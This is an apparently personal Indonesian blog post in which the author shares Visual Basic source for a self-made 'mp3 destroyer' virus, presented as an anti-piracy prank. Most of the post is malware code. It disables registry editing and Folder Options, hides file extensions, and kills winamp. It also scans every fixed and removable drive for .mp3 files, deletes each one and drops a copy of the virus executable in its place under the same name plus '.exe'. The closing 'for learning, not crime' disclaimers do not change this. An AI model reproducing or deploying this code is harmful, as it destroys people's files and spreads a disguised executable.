Ngomongin Virus.. JAdi gemes nich mo utak atik lagi... :D (gak wes, akean siale nek dolanan virus iku :) ) ni beberapa memori lama saya... Ketika Masih suka iseng² buat pilus mainan... Virus Pribadi, dan untuk pribadi :D
Terpenggal dai Kisah Jaman Dulu...Terinspirasi pada maraknya Pembajakan Lagu Di Negeri kita, ngiris sekali rasanya kalu kita liat beberapa seniman yang susah payah buat lagu capek² eh, sekalinya kita tinggal kopi paste aja...
Iseng² buat source nya... hehehe, jadi juga virus pemusnah mp3 :) ... OK ini just Share Aja, pengalaman buruk saya masa lalu yang gak akan saya ulangi lagi...., Gak usah beranggapan yang negatif trentang artikel saya yach kawan....
Masih seputar dunia VB kok...
Layaknya sebuah Virus...yang memiliki fungsi menon aktifkan Folder Option,mengunci regedit (seperti biasa lah) dan mematikan winamp secara tiba2 jika file virus aktif<< karena virus ini ada hubunganya dengan file.mp3
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Exp lorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Kapan indonesia Terbebas dari pembajakan????!!!"
Shell "taskkill /f /im winamp.exe", vbHide
Fungsi Untuk Mencari file berekstensi .mp3 yang ada di hardisk
Sub cari()
Dim ictr As Integer
'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If
' frmMain.Visible = True
End Sub
SEdangkan untuk mencari seluruh partisi hardisk yang ada di komputer
Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next
Next.. inti dari misi virus ini... memusnah seluruh Mp3...
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
'Screen.MousePointer = vbHourglass
'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
'Set li = Nothing
'Screen.MousePointer = vbDefault
End Sub
Hehehe, belajarlah untuk menambah wawasan,bukan untuk kejahatan!!!...
Dunia Virus emang kejam... So.. Lupakanlah... itu hal yang tidak baik...
Sisa² Peninggalan sejarah... ada master virusnya nich... kalo mau coba pakai deepfreeze dulu biar gak musnah semua mp3 mu... Peace² Semangat!!!
0 komentar: